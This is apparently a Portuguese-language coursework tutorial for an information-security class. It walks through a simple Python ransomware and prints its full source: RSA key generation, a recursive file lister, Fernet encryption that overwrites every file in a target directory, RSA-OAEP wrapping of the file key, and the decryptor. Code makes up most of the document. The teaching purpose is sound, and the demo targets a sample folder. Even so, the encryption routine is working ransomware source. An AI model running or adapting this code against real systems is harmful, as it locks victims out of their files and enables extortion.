Trabalho para a disciplina de Segurança da Informação - PCS3544
Este trabalho tem como objetivo demonstrar uma implementação didática de um ransomware simples utilizando a linguagem Python.
A base para a implementação desse ransomware é a utilização de algoritmos de criptografia assimétricos, isso é importante para dar controle sobre a cifração para o "atacante". Dessa forma, uma chave pública será utilizada para a cifração no dispositivo da "vítima", enquanto a chave privada correspondente ficaria em posse do "atacante".
Devido à limitação do tamanho dos dados que algoritmos assimétricos conseguem cifrar, não seria possível cifrar grandes arquivos, deste modo, se utilizará criptografia simétrica para realizar a encriptação dos arquivos da "vítima". Porém, para garantir o controle sobre os dados encriptados ao "atacante", se utilizará criptografia assimétrica para encriptar a chave utilizada na encriptação com o algoritmo simétrico.
Para rodar os programas recomenda-se a utilização de um ambiente virtual com o módulo venv, onde serão instaladas as dependências e executados os programas.
Para instalar as dependências faça:
pip3 install cryptography
Ou faça:
pip3 install -r requirements.txt
É possível testar o funcionamento completo do programa com os script presentes neste repositório. Para esse teste, o alvo do ataque serão os arquivos presentes na pasta agentes_secretos
, verifique o conteúdo dos arquivos antes de iniciar o processo.
Primeiramente, para gerar as chaves do algoritmo assimétrico, rode o seguinte comando no terminal:
python3 generate_keys.py
Então, para encriptar os arquivos faça:
python3 encrypt.py
Verifique agora o conteúdo dos arquivos, veja se é possível visualizar seus conteúdos.
Por fim, para decriptar os arquivos, rode o seguinte comando:
python3 decrypt.py
Para realizar um ataque, algumas etapas têm que ser executadas antes, sendo elas as seguintes:
- Gerar a chave pública do algoritmo assimétrico
- Gerar a chave privada do algoritmo assimétrico
Já durante o ataque, as seguintes etapas têm que ser realizadas:
- Gerar uma chave simétrica
- Encriptar arquivos da "vítima" com a chave simétrica
- Ler a chave pública assimétrica
- Encriptar chave simétrica utilizando a chave pública assimétrica
Após o ataque ter sido concluído e a decriptação tiver que ser realizadas, são executados os seguintes passos:
- Ler a chave privada assimétrica
- Decriptar a chave simétrica utilizando a chave privada assimétrica
- Decriptar arquivos utilizando a chave simétrica
Antes do ataque é necessário gerar as chaves que serão utilizadas pelo algoritmo de criptografia assimétrico, para isso se utilizará a implementação do algoritmo RSA da biblioteca cryptography
do Python.
Sendo então necessário realizar a importação dos métodos que serão utilizados na geração das chaves.
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
Para gerar a chave privada é possível utilizar a função rsa.generate_private_key
, definindo o public_exponent
como 65537
e o tamanho da chave como 2048
.
O
public_exponent
deve ser um número primo positivo, de preferência um número primo grande. Neste trabalho foi utilizado o número65537
por ser o número normalmente utilizado em criptografias utilizando o RSA. Esse número é utilizado, principalmente, por razões históricas, uma vez que implementações anteriores do RSA que utilizavam expoentes muito pequenos eram mais vulneráveis, enquanto a utilização de expoentes muito elevados exigiam um poder computacional muito grande. Esse número também é conhecido como o número de Fermat (Fn = 2^[2^(n)] + 1), com n = 4.
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
Após gerar a chave, para utilizá-la posteriormente é necessário serializá-la e salvá-la em um arquivo .pem
.
serial_private = private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption()
)
with open("private_asym_key.pem", "wb") as file:
file.write(serial_private)
A chave pública, por sua vez, será gerada por meio da chave privada gerada anteriormente. Para isso será necessário executar o seguinte comando:
public_key = private_key.public_key()
Então, assim como foi feito para a chave privada, para que se possa utilizar a chave posteriormente, será necessário serializá-la e salvá-la em um arquivo .pem
.
serial_pub = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
with open("public_asym_key.pem", "wb") as file:
file.write(serial_pub)
Tanto para conseguir encriptar os arquivos da "vítima" durante o ataque, quanto para decriptá-los depois do ataque, é necessário conseguir listar todos os arquivos que serão afetados, para isso é interessante definir uma função que liste todos esses arquivos, a qual pode ser definida como mostra a seguir:
import os
def list_files(base_dir):
all_files = []
for path, _, files in os.walk(base_dir):
for name in files:
all_files.append(os.path.join(path, name))
return all_files
Assim como para gerar as chaves, para gerar a chave simétrica e realizar as encriptações necessárias se utilizará a biblioteca cryptography
do Python.
Sendo então necessário realizar a importação dos métodos que serão utilizados em todos os procedimentos durante o ataque.
É importante ressaltar que o algoritmo simétrico a ser utilizado nos passos a seguir é o algoritmo de Fernet.
from cryptography.fernet import Fernet
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.asymmetric import padding
Para gerar a chave, é necessário utilizar o método Fernet.generate_key()
:
def generate_sym_key():
key = Fernet.generate_key()
return key
Tendo-se a chave simétrica gerada anteriormente, é possível encriptar os dados de um arquivo com o método Fernet(key).encrypt
. Para isso então é necessário primeiramente abrir o arquivo a ser encriptado, então ler seu conteúdo, encriptar seu conteúdo e por fim escrever esse conteúdo de volta no arquivo lido.
def encrypt_file(filename, key):
with open(filename, "rb") as file_to_encrypt:
file_data = file_to_encrypt.read()
encrypted_data = Fernet(key).encrypt(file_data)
with open(filename, "wb") as encrypted_file:
encrypted_file.write(encrypted_data)
Para que se possa encriptar a chave simétrica gerada utilizando a chave pública assimétrica gerada anteriormente, é necessário primeiramente ler os dados do arquivo salvo da chave pública assimétrica e realizar a desserialização dos dados da chave.
def read_public_key(filename):
with open(filename, "rb") as key_file:
public_key = serialization.load_pem_public_key(
key_file.read(),
backend=default_backend()
)
return public_key
Tendo-se a chave pública assimétrica e a chave simétrica, é possível utilizar o algoritmo SHA256 e a chave assimétrica para encriptar a chave simétrica e então salvar o arquivo encriptado para uso posterior.
def encrypt_sym_key(sym_key, public_key, sym_key_filename):
encrypted_key = public_key.encrypt(
sym_key,
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
)
)
with open(sym_key_filename, "wb") as encrypted_key_file:
encrypted_key_file.write(encrypted_key)
Definindo todas as funções para todos os passos descritos anteriormente, é possível realizar a execução completa do funcionamento do ransomware como mostrado abaixo, onde "/caminho/até/o/diretório"
deve ser substituído pelo caminho até o diretório com os arquivos a serem encriptados.
sym_key = generate_sym_key()
filenames_list = list_files("/caminho/até/o/diretório")
for filename in filenames_list:
encrypt_file(filename, sym_key)
public_key = read_public_key("public_asym_key.pem")
encrypt_sym_key(sym_key, public_key, "sym_key.key")
Assim como para gerar as chaves e para a encriptação dos arquivos, para realizar as decriptações necessárias se utilizará a biblioteca cryptography
do Python.
Sendo então necessário realizar a importação dos métodos que serão utilizados em todos os procedimentos no momento posterior ao ataque.
É importante ressaltar que, assim como foi utilizado o algoritmo simétrico de Fernet para realizar as encriptações dos arquivos, esse mesmo algoritmo será utilizado para as decriptações.
from cryptography.fernet import Fernet
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.asymmetric import padding
Para que se possa decriptar a chave simétrica utilizada com a chave privada assimétrica gerada anteriormente, é necessário primeiramente ler os dados do arquivo salvo da chave privada assimétrica e realizar a desserialização dos dados da chave.
def read_private_key(filename):
with open(filename, "rb") as key_file:
private_key = serialization.load_pem_private_key(
key_file.read(),
password=None,
backend=default_backend()
)
return private_key
Tendo-se a chave privada assimétrica e lendo-se o arquivo da chave simétrica encriptada, é possível utilizar o algoritmo SHA256 e a chave assimétrica para decriptar os dados do arquivo da chave simétrica.
def decrypt_sym_key(sym_key_filename, private_key):
with open(sym_key_filename, "rb") as encrypted_file:
sym_key_file_data = encrypted_file.read()
sym_key = private_key.decrypt(
sym_key_file_data,
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
)
)
return sym_key
Tendo-se a chave simétrica decriptada, é possível decriptar os dados de um arquivo com o método Fernet(key).decrypt
. Para isso então é necessário primeiramente abrir o arquivo encriptado, então ler seu conteúdo, decriptar seu conteúdo e por fim escrever esse conteúdo de volta no arquivo.
def decrypt_file(filename, key):
with open(filename, "rb") as file_to_decrypt:
file_data = file_to_decrypt.read()
decrypted_data = Fernet(key).decrypt(file_data)
with open(filename, "wb") as decrypted_file:
decrypted_file.write(decrypted_data)
Definindo todas as funções para todos os passos descritos anteriormente, é possível realizar a execução completa do decriptador como mostrado baixo, onde "/caminho/até/o/diretório"
deve ser substituído pelo caminho até o diretório com os arquivos a serem decriptados.
private_key = read_private_key("private_asym_key.pem")
sym_key = decrypt_sym_key("sym_key.key", private_key)
filenames_list = list_files("/caminho/até/o/diretório")
for filename in filenames_list:
decrypt_file(filename, sym_key)